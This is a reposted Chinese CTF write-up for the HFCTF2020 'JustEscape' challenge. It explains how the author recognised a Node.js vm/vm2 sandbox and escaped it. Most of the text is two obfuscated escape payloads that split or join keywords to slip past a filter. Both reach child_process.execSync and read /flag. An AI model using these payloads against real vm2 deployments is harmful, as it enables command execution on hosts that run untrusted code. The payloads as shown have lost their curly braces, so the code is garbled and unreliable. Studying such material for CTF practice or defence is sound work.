BUUCTF-[HFCTF2020]JustEscape

Posted TzZzEZ-web

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUUCTF-[HFCTF2020]JustEscape相关的知识,希望对你有一定的参考价值。

[HFCTF2020]JustEscape

题目说真的不是php吗?
十有八九不是,猜测可能是Java,结果是js。
Error().stack,看一下报错信息。

报错显示是vm.js,考的vm沙箱逃逸。
POC参考:
https://github.com/patriksimek/vm2/issues/225
payload1:

(function ()
    TypeError[`$`$`prototyp`e``][`$`$`get_pro`cess``] = f=>f[`$`$`constructo`r``](`$`$`return proc`ess``)();
    try
        Object.preventExtensions(Buffer.from(``)).a = 1;
    catch(e)
        return e[`$`$`get_pro`cess``](()=>).mainModule[`$`$`requir`e``](`$`$`child_proces`s``)[`$`$`exe`cSync``](`cat /flag`).toString();
    
)()

payload2:
(join拼接字符串)

(()=> TypeError[[`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`][`join`](``)][`a`] = f=>f[[`c`,`o`,`n`,`s`,`t`,`r`,`u`,`c`,`t`,`o`,`r`][`join`](``)]([`r`,`e`,`t`,`u`,`r`,`n`,` `,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))(); try Object[`preventExtensions`](Buffer[`from`](``))[`a`] = 1; catch(e) return e[`a`](()=>)[`mainModule`][[`r`,`e`,`q`,`u`,`i`,`r`,`e`][`join`](``)]([`c`,`h`,`i`,`l`,`d`,`_`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))[[`e`,`x`,`e`,`c`,`S`,`y`,`n`,`c`][`join`](``)](`cat /flag`)[`toString`]();  )()

以上是关于BUUCTF-[HFCTF2020]JustEscape的主要内容,如果未能解决你的问题,请参考以下文章

BUUCTF-[HFCTF2020]JustEscape

BUUCTF-[HFCTF2020]JustEscape

HFCTF-2021-Final-easyflask

BUUCTF-[MRCTF2020]Ezaudit

BUUCTF: [MRCTF2020]Ezpop

BUUCTF: [MRCTF2020]Ezpop